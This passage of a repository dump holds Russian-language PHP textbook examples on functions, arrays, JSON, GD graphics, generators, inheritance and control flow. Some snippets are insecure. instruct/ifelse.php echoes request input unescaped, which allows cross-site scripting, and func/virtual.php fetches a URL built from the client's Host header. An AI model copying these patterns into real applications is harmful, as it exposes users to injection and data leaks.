 5 |     global $a;    // объявляет $a глобальной
 6 |     return $a;    // возвращает, ссылку, а не значение!
 7 |   }
 8 |   $b =& r(); // не забудьте & !!!
 9 |   $b = 0;    // присваивает переменной $a!
10 |   echo $a;   // выводит 0. Это значит, что теперь $b - синоним $a
11 | ?>


--------------------------------------------------------------------------------
/func/return.php:
--------------------------------------------------------------------------------
 1 | <?php ## Возврат массива.
 2 |   function silly()
 3 |   {  
 4 |     return [1, 2, 3];
 5 |   }
 6 |   // присваивает массиву значение array(1,2,3)
 7 |   $arr = Silly();
 8 |   var_dump($arr); // выводим массив
 9 |   // присваивает переменным $a, $b, $c первые значения из списка
10 |   list ($a, $b, $c) = Silly();
11 |   // Допустимо начиная с PHP 5.4
12 |   echo Silly()[2]; // 3
13 | ?>


--------------------------------------------------------------------------------
/func/static.php:
--------------------------------------------------------------------------------
 1 | <?php ## Статические переменные.
 2 |   function selfcount()
 3 |   {
 4 |     static $count = 0;
 5 |     $count++;
 6 |     echo $count;
 7 |   }
 8 |   for ($i = 0; $i < 5; $i++) selfcount();
 9 | ?>
10 | 


--------------------------------------------------------------------------------
/func/stricttypes.php:
--------------------------------------------------------------------------------
1 | <?php ## Строгая типизация
2 |   declare(strict_types = 1);
3 |   function sum($fst, $snd) : int
4 |   {
5 |     return $fst + $snd;
6 |   }
7 |   echo sum(2, 2); // 4
8 |   echo sum(2.5, 2.5); // Fatal Error в PHP < 7, Exception TypeError в PHP >=7
9 | ?>


--------------------------------------------------------------------------------
/func/toomanyargs.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование ...
 2 |   function toomanyargs($fst, $snd, $thd, $fth)
 3 |   {
 4 |     echo "Первый параметр: $fst<br />";
 5 |     echo "Второй параметр: $snd<br />";
 6 |     echo "Третий параметр: $thd<br />";
 7 |     echo "Четвертый параметр: $fth<br />";
 8 |   }
 9 |   // отображаем строки одну под другой
10 |   $planets = ["Меркурий", "Венера", "Земля", "Марс"];
11 |   toomanyargs(...$planets);
12 | ?>


--------------------------------------------------------------------------------
/func/types.php:
--------------------------------------------------------------------------------
1 | <?php ## Типы аргументов и возвращаемого значения
2 |   function sum(int $fst, int $snd) : int
3 |   {
4 |     return $fst + $snd;
5 |   }
6 |   echo sum(2, 2);
7 |   echo sum(2.5, 2.5); // Fatal Error в PHP < 7, Exception TypeError в PHP >=7
8 | ?>


--------------------------------------------------------------------------------
/func/unset.php:
--------------------------------------------------------------------------------
 1 | <?php ## Особенности инструкции global.
 2 |   $a = 100;
 3 |   function test()
 4 |   { 
 5 |     global $a;
 6 |     unset($a);
 7 |   }
 8 |   test();
 9 |   echo $a;  // выводит 100, т. е. настоящая $a не была удалена в test()!
10 | ?>


--------------------------------------------------------------------------------
/func/varargs.php:
--------------------------------------------------------------------------------
 1 | <?php ## Переменное число параметров функции (современный способ).
 2 |   function myecho(...$planets)
 3 |   {  
 4 |     foreach ($planets as $v) {
 5 |       echo "$v<br />\n"; // выводим элемент
 6 |     }
 7 |   }
 8 |   // отображаем строки одну под другой
 9 |   myecho("Меркурий", "Венера", "Земля", "Марс");
10 | ?>


--------------------------------------------------------------------------------
/func/varargsold.php:
--------------------------------------------------------------------------------
1 | <?php ## Переменное число параметров функции (устаревший способ).
2 |   function myecho() {  
3 |     for ($i = 0; $i < func_num_args(); $i++) {
4 |       echo func_get_arg($i)."<br />\n"; // выводим элемент
5 |     }
6 |   }
7 |   // отображаем строки одну под другой
8 |   myecho("Меркурий", "Венера", "Земля", "Марс");
9 | ?>


--------------------------------------------------------------------------------
/func/virtual.php:
--------------------------------------------------------------------------------
 1 | <?php ## Эмуляция virtual() в CGI-версии PHP.
 2 |   // Функция virtual() не поддерживается?
 3 |   if (!function_exists("virtual")) { 
 4 |     // Тогда определяем свою.
 5 |     echo "virtual";
 6 |     function virtual($uri)
 7 |     {
 8 |       $url = "http://".$_SERVER["HTTP_HOST"].$uri;
 9 |       echo file_get_contents($url);
10 |     }
11 |   }
12 |   // Пример - выводит корневую страницу сайта.
13 |   virtual("/");
14 | ?>


--------------------------------------------------------------------------------
/funcarr/array_flip.php:
--------------------------------------------------------------------------------
 1 | <?php ## Обращение массива.
 2 |   $names = [
 3 |       "Joel"   => "Silver", 
 4 |       "Grant"  => "Hill", 
 5 |       "Andrew" => "Mason",
 6 |     ];
 7 |   $names = array_flip($names);
 8 |   print_r($names);
 9 |   // Array([Silver]=>Joel  [Hill]=>Grant  [Mason]=>Andrew)
10 | ?>


--------------------------------------------------------------------------------
/funcarr/array_intersect.php:
--------------------------------------------------------------------------------
1 | <?php ## Пересечение множеств.
2 |   $native = ["green", "red", "blue"];
3 |   $colors = ["red", "yellow", "green", "cyan", "black"];
4 |   $inter = array_intersect($colors, $native);
5 |   print_r($inter);
6 |   // Array([0]=>red  [2]=>green) 
7 | ?>


--------------------------------------------------------------------------------
/funcarr/array_reverse.php:
--------------------------------------------------------------------------------
 1 | <?php ## Переворачивание массива.
 2 |   $A = [
 3 |     "a" => "Zero",
 4 |     "b" => "Weapon",
 5 |     "c" => "Alpha",
 6 |     "d" => "Processor"
 7 |   ];
 8 |   asort($A);
 9 |   $A = array_reverse($A);
10 |   print_r($A);
11 |   // Array([a]=>Zero [b]=>Weapon [d]=>Processor [c]=>Alpha)
12 | ?>


--------------------------------------------------------------------------------
/funcarr/asort.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сортировка массива по значениям.
 2 |   $A = [
 3 |     "a" => "Zero",
 4 |     "b" => "Weapon",
 5 |     "c" => "Alpha",
 6 |     "d" => "Processor"
 7 |   ];
 8 |   asort($A);
 9 |   print_r($A);
10 |   // Array([c]=>Alpha [d]=>Processor [b]=>Weapon [a]=>Zero)
11 |   // как видим, поменялся только порядок пар ключ=>значение
12 | ?>


--------------------------------------------------------------------------------
/funcarr/json_answer.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   // Преобразуем JSON-данные в массив
 3 |   $arr = json_decode($_POST['json'], true);
 4 |   // Объединяем содержимое в строку
 5 |   $name = trim(implode(" ", $arr));
 6 | 
 7 |   $result = "Здравствуйте";
 8 |   if(!empty($name))
 9 |     $result .= ", $name";
10 |   $result .= "!";
11 | 
12 |   // Отдаем результат
13 |   echo htmlspecialchars($result);
14 | ?>


--------------------------------------------------------------------------------
/funcarr/json_decode.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование функции json_decode().
2 |   $json = '{"employee":"Иван Иванов","phones":["916 153 2854","916 643 8420"]}';
3 |   $arr = json_decode($json, true);
4 |   echo "<pre>"; print_r($arr); echo "</pre>";
5 | ?>


--------------------------------------------------------------------------------
/funcarr/json_encode.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование функции json_encode()
 2 |   $arr = [
 3 |     "employee" => "Иван Иванов",
 4 |     "phones" => [
 5 |       "916 153 2854",
 6 |       "916 643 8420"
 7 |     ]
 8 |   ];
 9 |   echo json_encode($arr, JSON_UNESCAPED_UNICODE );
10 | ?>


--------------------------------------------------------------------------------
/funcarr/json_index.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Передача JSON-данных</title>
 5 |   <meta charset='utf-8'>
 6 |   <script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
 7 |   <script src="/json_index.js"></script>
 8 | </head>
 9 | <body>
10 |   <p id='js-hello'>Здравствуйте!</p>
11 |   <form action="/json_answer.php" method="GET">
12 |   <p>Имя: <input type="text" name="name" value="" /></p>
13 |   <p>Фамилия: <input type="text" name="family" value="" /></p>
14 |   <p><input type="submit" value="Представиться"><p>
15 |   </form>
16 | </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/funcarr/ksort.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сортировка массива по ключам.
 2 |   $A = [
 3 |     "c" => "Alpha",
 4 |     "a" => "Zero",
 5 |     "d" => "Processor",
 6 |     "b" => "Weapon",
 7 |   ];
 8 |   ksort($A);
 9 |   print_r($A);
10 |   // Array([a]=>Zero [b]=>Weapon [c]=>Alpha [d]=>Processor) 
11 | ?>


--------------------------------------------------------------------------------
/funcarr/merge.php:
--------------------------------------------------------------------------------
1 | <?php ## Объединение множеств.
2 |   $native = ["green", "red", "blue"];
3 |   $colors = ["red", "yellow", "green", "cyan"];
4 |   $inter = array_unique(array_merge($colors, $native));
5 |   print_r($inter);
6 |   // Array([0]=>red [1]=>yellow [2]=>green [3]=>cyan [6]=>blue) 
7 | ?>


--------------------------------------------------------------------------------
/funcarr/natsort.php:
--------------------------------------------------------------------------------
 1 | <?php ## Естественная сортировка.
 2 |   $files = [
 3 |     "img10.gif",
 4 |     "img1.gif",
 5 |     "img2.gif",
 6 |     "img20.gif",
 7 |   ];
 8 |   //asort($files);
 9 |   natsort($files);
10 |   echo "<pre>"; print_r($files);
11 | ?>


--------------------------------------------------------------------------------
/funcarr/shuffle.php:
--------------------------------------------------------------------------------
1 | <?php ## Перемешивание списка.
2 |   $concept = ["Banana", "Coffee", "Ice cream", "Throat"];
3 |   shuffle($concept);
4 |   print_r($concept);
5 | ?>


--------------------------------------------------------------------------------
/funcarr/sort.php:
--------------------------------------------------------------------------------
1 | <?php ## Сортировка списков.
2 |   $A = ["One", "Two", "Three", "Four"];
3 |   sort($A);
4 |   print_r($A);
5 |   // Array([0]=>Four [1]=>One [2]=>Three [3]=>Two)
6 | ?>


--------------------------------------------------------------------------------
/funcarr/sort1.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сортировка списков (случай ассоциативного массива).
 2 |   $A = [
 3 |       "a" => "Zero",
 4 |       "b" => "Weapon",
 5 |       "c" => "Alpha",
 6 |       "d" => "Processor"
 7 |     ];
 8 |   sort($A);
 9 |   print_r($A);
10 |   // Array([0]=>Alpha [1]=>Processor [2]=>Weapon [3]=>Zero)
11 | ?>


--------------------------------------------------------------------------------
/funcarr/usort.php:
--------------------------------------------------------------------------------
1 | <?php ## Пользовательская сортировка списков.
2 |   $tools = ["One", "Two", "Three", "Four"];
3 |   usort($tools, function ($a, $b) { return strcmp($a, $b); });
4 |   print_r($tools);
5 |   // Array([0]=>Four [1]=>One [2]=>Three [3]=>Two)
6 | ?>


--------------------------------------------------------------------------------
/gd/button.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/button.gif


--------------------------------------------------------------------------------
/gd/pen.php:
--------------------------------------------------------------------------------
 1 | <?php ## Изменение пера.
 2 |   // Создаем новое изображение.
 3 |   $im  = imageCreate(100, 100);
 4 |   $w   = imageColorAllocate($im, 255, 255, 255);
 5 |   $c1  = imageColorAllocate($im, 0, 0, 255);
 6 |   $c2  = imageColorAllocate($im, 0, 255, 0);
 7 |   // Очищаем фон.
 8 |   imageFilledRectangle($im, 0, 0, imageSX($im), imageSY($im), $w);
 9 |   // Устанавливаем стиль пера.
10 |   $style = array($c2, $c2, $c2, $c2, $c2, $c2, $c2, $c1, $c1, $c1, $c1);
11 |   imageSetStyle($im, $style);
12 |   // Устанавливаем толщину пера.
13 |   imageSetThickness($im, 2);
14 |   // Рисуем линию.
15 |   imageLine($im, 0, 0, 100, 100, IMG_COLOR_STYLED);
16 |   // Выводим изображение в браузер.
17 |   header("Content-type: image/png");
18 |   imagePng($im);
19 | ?> 


--------------------------------------------------------------------------------
/gd/random.php:
--------------------------------------------------------------------------------
 1 | <?php ## Автоопределение MIME-типа изображения.
 2 |   // Выбираем случайное изображение любого формата.
 3 |   $fnames = glob("*.{gif,jpg,png}", GLOB_BRACE);
 4 |   $fname = $fnames[mt_rand(0, count($fnames)-1)];
 5 |   // Определяем формат.
 6 |   $size = getimagesize($fname);
 7 |   // Выводим изображение.
 8 |   header("Content-type: {$size['mime']}");
 9 |   echo file_get_contents($fname);
10 | ?>


--------------------------------------------------------------------------------
/gd/resample.php:
--------------------------------------------------------------------------------
 1 | <?php ## Увеличение картинки со сглаживанием.
 2 |   $from = imageCreateFromJpeg("sample2.jpg"); 
 3 |   $to   = imageCreateTrueColor(2000, 2000); 
 4 |   imageCopyResampled(
 5 |     $to, $from, 0, 0, 0, 0, imageSX($to), imageSY($to), 
 6 |     imageSX($from), imageSY($from)
 7 |   ); 
 8 |   header("Content-type: image/jpeg");
 9 |   imageJpeg($to);
10 | ?>


--------------------------------------------------------------------------------
/gd/sample00.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample00.gif


--------------------------------------------------------------------------------
/gd/sample01.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample01.gif


--------------------------------------------------------------------------------
/gd/sample02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample02.png


--------------------------------------------------------------------------------
/gd/sample03.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample03.jpg


--------------------------------------------------------------------------------
/gd/sample1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample1.jpg


--------------------------------------------------------------------------------
/gd/sample2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample2.jpg


--------------------------------------------------------------------------------
/gd/sample3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample3.jpg


--------------------------------------------------------------------------------
/gd/sample4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample4.jpg


--------------------------------------------------------------------------------
/gd/sample5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/sample5.jpg


--------------------------------------------------------------------------------
/gd/times.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/gd/times.ttf


--------------------------------------------------------------------------------
/gd/transparent.htm:
--------------------------------------------------------------------------------
1 | <body background="sample5.jpg">
2 | <img src="transparent.php">
3 | </body>


--------------------------------------------------------------------------------
/gd/transparent.php:
--------------------------------------------------------------------------------
 1 | <?php ## Создание изображений с областями прозрачности.
 2 | $im = imageCreate(620, 241);
 3 | $t = imageColorAllocate($im, 0, 0, 0);
 4 | $c = imageColorAllocate($im, 0, 255, 0);
 5 | imageFill($im, 0, 0, $c);
 6 | imageFilledRectangle($im, 180, 20, 420, 220, $t);
 7 | imageColorTransparent($im, $t);
 8 | Header("Content-type: image/png");
 9 | imagePng($im);
10 | ?>


--------------------------------------------------------------------------------
/generators/array.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование массивов.
2 |   function generator()
3 |   {
4 |     yield 1;
5 |     yield from [2, 3];
6 |   }
7 | 
8 |   foreach(generator() as $i) echo "$i ";
9 | ?>


--------------------------------------------------------------------------------
/generators/collect.php:
--------------------------------------------------------------------------------
 1 | <?php ## Обработка каждого элемента массива.
 2 |   function collect($arr, $callback)
 3 |   {
 4 |     foreach($arr as $value) {
 5 |       yield $callback($value);
 6 |     }
 7 |   }
 8 | 
 9 |   $arr = [1, 2, 3, 4, 5, 6];
10 |   $collect = collect($arr, function($e){ return $e * $e; });
11 |   foreach($collect as $val) echo "$val ";
12 | ?>


--------------------------------------------------------------------------------
/generators/combine.php:
--------------------------------------------------------------------------------
 1 | <?php ## Квадраты четных элементов.
 2 |   function collect($arr, $callback)
 3 |   {
 4 |     foreach($arr as $value) {
 5 |       yield $callback($value);
 6 |     }
 7 |   }
 8 | 
 9 |   function select($arr, $callback)
10 |   {
11 |     foreach($arr as $value) {
12 |       if($callback($value)) yield $value;
13 |     }
14 |   }
15 | 
16 |   $arr = [1, 2, 3, 4, 5, 6];
17 |   $select = select($arr, function($e){ return $e % 2 == 0 ? true : false; });
18 |   $collect = collect($select, function($e){ return $e * $e; });
19 |   foreach($collect as $val) echo "$val ";
20 | ?>


--------------------------------------------------------------------------------
/generators/combine_from.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование yield from.
 2 |   function square($value)
 3 |   {
 4 |     yield $value * $value;
 5 |   }
 6 | 
 7 |   function even_square($arr)
 8 |   {
 9 |     foreach($arr as $value) {
10 |       if($value % 2 == 0) yield from square($value);
11 |     }
12 |   }
13 | 
14 |   $arr = [1, 2, 3, 4, 5, 6];
15 |   foreach(even_square($arr) as $val) echo "$val ";
16 | ?>


--------------------------------------------------------------------------------
/generators/keys.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование ключей.
 2 |   function collect($arr, $callback)
 3 |   {
 4 |     foreach($arr as $key => $value) {
 5 |       yield $key => $callback($value);
 6 |     }
 7 |   }
 8 | 
 9 |   $arr = [
10 |     "first" => 1,
11 |     "second" => 2,
12 |     "third" => 3,
13 |     "fourth" => 4,
14 |     "fifth" => 5,
15 |     "sixth" => 6];
16 |   $collect = collect($arr, function($e){ return $e * $e; });
17 |   foreach($collect as $key => $val) echo "$val ($key) ";
18 | ?>


--------------------------------------------------------------------------------
/generators/makerange_bad.php:
--------------------------------------------------------------------------------
 1 | <?php ## Не экономное расходование памяти
 2 |   function crange($size)
 3 |   {
 4 |     $arr = [];
 5 |     for($i = 0; $i < $size; $i++) {
 6 |       $arr[] = $i;
 7 |     }
 8 |     return $arr;
 9 |   }
10 | 
11 |   $range = crange(1024000);
12 |   foreach($range as $i) echo "$i ";
13 |   // Определяем количество используемой скриптом памяти
14 |   echo memory_get_usage()."<br />";
15 | ?>


--------------------------------------------------------------------------------
/generators/makerange_good.php:
--------------------------------------------------------------------------------
 1 | <?php ## Экономное расходование памяти
 2 |   function crange($size)
 3 |   {
 4 |     for($i = 0; $i < $size; $i++) {
 5 |       yield $i;
 6 |     }
 7 |   }
 8 | 
 9 |   $range = crange(1024000);
10 |   foreach($range as $i) echo "$i ";
11 |   // Определяем количество используемой скриптом памяти
12 |   echo memory_get_usage()."<br />";
13 | ?>


--------------------------------------------------------------------------------
/generators/object.php:
--------------------------------------------------------------------------------
 1 | <?php ## Каждый генератор - это объект
 2 |   function simple($from = 0, $to = 100)
 3 |   {
 4 |     for($i = $from; $i < $to; $i++) {
 5 |       echo "значение = $i<br />";
 6 |       yield $i;
 7 |     }
 8 |   }
 9 |   $generator = simple();
10 |   echo gettype($generator); // object
11 | ?>
12 | 


--------------------------------------------------------------------------------
/generators/ref.php:
--------------------------------------------------------------------------------
 1 | <?php ## Возврат значения по ссылке
 2 |   function &reference()
 3 |   {
 4 |     $value = 3;
 5 |     while ($value > 0) {
 6 |       yield $value;
 7 |     }
 8 |   }
 9 | 
10 |   foreach (reference() as &$number) {
11 |     echo (--$number).' ';
12 |   }
13 | ?>


--------------------------------------------------------------------------------
/generators/reject.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлекаем только четные элементы.
 2 |   function reject($arr, $callback)
 3 |   {
 4 |     foreach($arr as $value) {
 5 |       if(!$callback($value)) yield $value;
 6 |     }
 7 |   }
 8 | 
 9 |   $arr = [1, 2, 3, 4, 5, 6];
10 |   $reject = reject($arr, function($e){ return $e % 2 == 0 ? true : false; });
11 |   foreach($reject as $val) echo "$val ";
12 | ?>


--------------------------------------------------------------------------------
/generators/return.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование return в генераторе.
 2 |   function generator()
 3 |   {
 4 |     yield 1;
 5 |     return yield from two_three();
 6 |     yield 5;
 7 |   }
 8 | 
 9 |   function two_three()
10 |   {
11 |     yield 2;
12 |     yield 3;
13 |     return 4;
14 |   }
15 | 
16 |   $generator = generator();
17 | 
18 |   foreach($generator as $i) {
19 |     echo "$i<br />";
20 |   }
21 |   echo "return = ".$generator->getReturn();
22 | ?>


--------------------------------------------------------------------------------
/generators/select.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлекаем только четные элементы.
 2 |   function select($arr, $callback)
 3 |   {
 4 |     foreach($arr as $value) {
 5 |       if($callback($value)) yield $value;
 6 |     }
 7 |   }
 8 | 
 9 |   $arr = [1, 2, 3, 4, 5, 6];
10 |   $select = select($arr, function($e){ return $e % 2 == 0 ? true : false; });
11 |   foreach($select as $val) echo "$val ";
12 | ?>


--------------------------------------------------------------------------------
/generators/send.php:
--------------------------------------------------------------------------------
 1 | <?php ## Отправка данных генератору методом send()
 2 |   function block()
 3 |   {
 4 |     while(true) {
 5 |       $string = yield;
 6 |       echo $string;
 7 |     }
 8 |   }
 9 | 
10 |   $block = block();
11 |   $block->send("Hello, world!<br />");
12 |   $block->send("Hello, PHP!<br />");
13 | ?>


--------------------------------------------------------------------------------
/generators/simple.php:
--------------------------------------------------------------------------------
 1 | <?php ## Простейший генератор
 2 |   function simple($from = 0, $to = 100)
 3 |   {
 4 |     for($i = $from; $i < $to; $i++) {
 5 |       echo "значение = $i<br />";
 6 |       yield $i;
 7 |     }
 8 |   }
 9 | 
10 |   foreach(simple() as $val) {
11 |     echo "квадрат = ".($val * $val)."<br />";
12 |     if ($val >= 5) break;
13 |   }
14 | ?>


--------------------------------------------------------------------------------
/generators/yield.php:
--------------------------------------------------------------------------------
 1 | <?php ## Исследуем yield.
 2 |   function generator()
 3 |   {
 4 |     echo "перед первым yield<br />";
 5 |     yield 1;
 6 |     echo "перед вторым yield<br />";
 7 |     yield 2;
 8 |     echo "перед третьим yield<br />";
 9 |     yield 3;
10 |     echo "после третьего yield<br />";
11 |   }
12 | 
13 |   foreach(generator() as $i) {
14 |     echo "$i<br />";
15 |   }
16 | ?>


--------------------------------------------------------------------------------
/inherit/File/Logger.php:
--------------------------------------------------------------------------------
 1 | <?php ## Базовый класс.
 2 |   class FileLogger
 3 |   {
 4 |     public $f;          // открытый файл
 5 |     public $name;       // имя журнала
 6 |     public $lines = []; // накапливаемые строки
 7 |     public $t;
 8 |     public function __construct($name, $fname)
 9 |     { 
10 |       $this->name = $name;
11 |       $this->f = fopen($fname, "a+"); 
12 |     }
13 |     public function __destruct()
14 |     {
15 |       fputs($this->f, join("", $this->lines));
16 |       fclose($this->f); 
17 |     }
18 |     public function log($str)
19 |     { 
20 |       $prefix = "[".date("Y-m-d_h:i:s ")."{$this->name}] ";
21 |       $str = preg_replace('/^/m', $prefix, rtrim($str));
22 |       $this->lines[] = $str."\n";
23 |     }
24 |   }
25 | ?>


--------------------------------------------------------------------------------
/inherit/abstract.php:
--------------------------------------------------------------------------------
1 | <?php ## Интерфейсы и абстрактные классы.
2 |   interface I {
3 |     public function F();
4 |   }
5 |   abstract class C implements I
6 |   {
7 |   }
8 | ?>


--------------------------------------------------------------------------------
/inherit/anonym.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование анонимных классов
 2 |   class Dumper
 3 |   {
 4 |     public static function print($obj)
 5 |     {
 6 |       print_r($obj);
 7 |     }
 8 |   }
 9 | 
10 |   Dumper::print( new class {
11 |     public $title;
12 |     public function __construct(){
13 |       $this->title = "Hello world!";
14 |     }
15 |   });
16 | ?>


--------------------------------------------------------------------------------
/inherit/anonym_nested.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование анонимных классов
 2 |   class Container
 3 |   {
 4 |     private $title = "Класс Container";
 5 |     protected $id = 1;
 6 | 
 7 |     public function anonym()
 8 |     {
 9 |       return new class($this->title) extends Container
10 |       {
11 | 
12 |         private $name;
13 | 
14 |         public function __construct($title)
15 |         {
16 |           $this->name = $title;
17 |         }
18 | 
19 |         public function print()
20 |         {
21 |           echo "{$this->name} ({$this->id})";
22 |         }
23 |       };
24 |     }
25 |   }
26 | 
27 |   (new Container)->anonym()->print();
28 | ?>


--------------------------------------------------------------------------------
/inherit/final.php:
--------------------------------------------------------------------------------
 1 | <?php ## Финальные методы.
 2 |   class Base
 3 |   {
 4 |     public final function test() {}
 5 |   }
 6 |   class Derive extends Base
 7 |   {
 8 |     public function test() {} // Ошибка! Нельзя переопределить!
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/inherit/inherit.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверка класса File_Logger_Debug0.
2 |   require_once "File/Logger/Debug.php";
3 |   $logger = new FileLoggerDebug("test.log");
4 |   $logger->log("Обычное сообщение");
5 |   $logger->debug("Отладочное сообщение");
6 | ?>


--------------------------------------------------------------------------------
/inherit/inherit0.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверка класса FileLoggerDebug0.
2 |   require_once "File/Logger/Debug0.php";
3 |   $logger = new FileLoggerDebug0("test", "test.log");
4 |   $logger->log("Обычное сообщение");
5 |   $logger->debug("Отладочное сообщение");
6 | ?>


--------------------------------------------------------------------------------
/inherit/inherit0cast.php:
--------------------------------------------------------------------------------
 1 | <?php ## Несовместимость типов при "ручном" наследовании.
 2 |   require_once "File/Logger/Debug0.php";
 3 |   $logger = new FileLoggerDebug0("test", "test.log");
 4 |   // Казалось бы, все верно - все, что может FileLogger,
 5 |   // "умеет" и FileLoggerDebug0...
 6 |   croak($logger, "Hasta la vista.");
 7 |   // Функция принимает параметр типа FileLogger.
 8 |   function croak(FileLogger $l, $msg)
 9 |   {
10 |     $l->log($msg);
11 |     exit();
12 |   }
13 | ?>


--------------------------------------------------------------------------------
/inherit/inherit_static.php:
--------------------------------------------------------------------------------
 1 | <?php ## self не позволяет переопределить метод.
 2 |   class Base
 3 |   {
 4 |     public static function title()
 5 |     {
 6 |       echo __CLASS__;
 7 |     }
 8 |     public static function test()
 9 |     {
10 |       self::title();
11 |     }
12 |   }
13 | 
14 |   class Child extends Base
15 |   {
16 |     public static function title()
17 |     {
18 |       echo __CLASS__;
19 |     }
20 |   }
21 | 
22 |   Child::test(); // Base
23 | ?>


--------------------------------------------------------------------------------
/inherit/pages/cast.php:
--------------------------------------------------------------------------------
 1 | <?php ## Уточнение и совместимость типов.
 2 |   require_once "StaticPage.php";
 3 |   function echoPage(Page $obj)
 4 |   {
 5 |     $obj->render();
 6 |   }
 7 |   $shape = new StaticPage(3);
 8 |   echoPage($shape);
 9 | ?>
10 | 


--------------------------------------------------------------------------------
/inherit/pages/instanceof.php:
--------------------------------------------------------------------------------
 1 | <?php ## Оператор instanceof.
 2 |   require_once "StaticPage.php";
 3 |   function echoPage($obj)
 4 |   {
 5 |     $class = "Page";
 6 |     if (!($obj instanceof $class)) 
 7 |       die("Argument 1 must be an instance of $class.<br />");
 8 |     $obj->render();
 9 |   }
10 |   $page = new StaticPage(3);
11 |   echoPage($page);
12 | ?>


--------------------------------------------------------------------------------
/inherit/pages/test.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверка виртуальных методов.
2 |   require_once "StaticPage.php";
3 |   // Создаем статическую страницу
4 |   $id = 3;
5 |   $page = new StaticPage($id);
6 |   $page->render();
7 |   echo $page->id($id);
8 | ?>


--------------------------------------------------------------------------------
/inherit/static.php:
--------------------------------------------------------------------------------
 1 | <?php ## static позволяет переопределить метод.
 2 |   class Base
 3 |   {
 4 |     public static function title()
 5 |     {
 6 |       echo __CLASS__;
 7 |     }
 8 |     public static function test()
 9 |     {
10 |       static::title();
11 |     }
12 |   }
13 | 
14 |   class Child extends Base
15 |   {
16 |     public static function title()
17 |     {
18 |       echo __CLASS__;
19 |     }
20 |   }
21 | 
22 |   Child::test(); // Child
23 | ?>


--------------------------------------------------------------------------------
/inherit/traits_inherit.php:
--------------------------------------------------------------------------------
 1 | <?php ## Порядок перегрузки методов
 2 |   class Page {
 3 |     public function tags() {
 4 |       echo "Page::tags<br />";
 5 |     }
 6 |     public function authors() {
 7 |       echo "Page::authors<br />";
 8 |     }
 9 |   }
10 | 
11 |   trait Author {
12 |     public function tags() {
13 |       echo "Author::tags<br />";
14 |     }
15 |     public function authors() {
16 |       echo "Author::authors<br />";
17 |     }
18 |   }
19 | 
20 |   class News extends Page
21 |   {
22 |     use Author;
23 | 
24 |     public function authors() {
25 |       echo "News::authors<br />";
26 |     }
27 |   }
28 | 
29 |   $news = new News();
30 |   $news->authors(); // News::authors
31 |   $news->tags();    // Author::tags
32 | ?>


--------------------------------------------------------------------------------
/instruct/for.php:
--------------------------------------------------------------------------------
1 | <?php ## Демонстрация цикла for
2 |   for ($i = 0, $j = 0, $k = "Points"; $i < 100; $j++, $i += $j) $k = $k.".";
3 |   echo $k; // Points..............
4 | ?>


--------------------------------------------------------------------------------
/instruct/foreach.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод всех переменных окружения.
2 |   foreach($_SERVER as $k => $v) 
3 |     echo "<b>$k</b> => <tt>$v</tt><br />\n";
4 | ?>
5 | 


--------------------------------------------------------------------------------
/instruct/goto.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование оператора goto
2 |   $i = 0;
3 |   begin:
4 |   $i++;
5 |   echo "$i<br />";
6 |   if ($i >= 10) goto finish;
7 |   goto begin;
8 |   finish:
9 | ?>


--------------------------------------------------------------------------------
/instruct/ifelse.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Альтернативный синтаксис if-else.</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <?php if (isset($_REQUEST['go'])):?>
 9 |   Привет, <?=$_REQUEST['name']?>!
10 | <?php else:?>
11 |   <form action="<?=$_SERVER['REQUEST_URI']?>" method="POST">
